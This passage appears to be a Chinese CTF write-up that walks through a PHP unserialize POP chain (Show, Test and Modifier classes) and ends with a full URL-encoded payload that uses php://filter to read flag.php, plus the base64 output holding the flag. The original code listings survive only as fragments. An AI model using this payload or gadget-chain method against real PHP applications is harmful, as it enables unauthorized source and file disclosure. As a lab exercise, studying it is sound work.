然后发现 里面没有过滤我们的 filter
伪协议
test 类
1 | class Test{ |
__construct
方法,把p对象变成一个数组。
__get
方法,从不可访问的属性中读取数据会触发
- 目的 调用
Modifier
类调用__invoke()
从而调用 include 伪协议得到 flag - 到利用
__invoke()
我们必须要 让这个类被当做函数调用。这里需要利用到Test
类里面的__get()
魔术方法 讲 $function 初始化为modifier
类。 - 然后要香办法调用
Test
类的__get()
魔术方法。当访问 Test 里面没有的属性时 会调用__get()
,发现在show
类里面有个__toString()
模式方法 当在调用echo 的时候会被调用到。如果我们讲show
类里面的 $str 赋值为Test
类这样在调用show
里面的 echo 函数时候 就会调用到__toString()
返回Test的source
属性但是Test
没有这个属性,从而就会调用到Test
的__get()
魔术方法。从而实现调用 - 要让
Show
类调用 echo 函数 直接反序列化 调用__wakeup
就好 - 这样我们的 pop 链就想好了
1 |
|
/?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A7%3A%220xc4m3l%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezAzMjY2ZjNhLWFlMGYtNGUyMS1hMTE5LTg4YjZkNDdjZWQxMH0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
得到 flag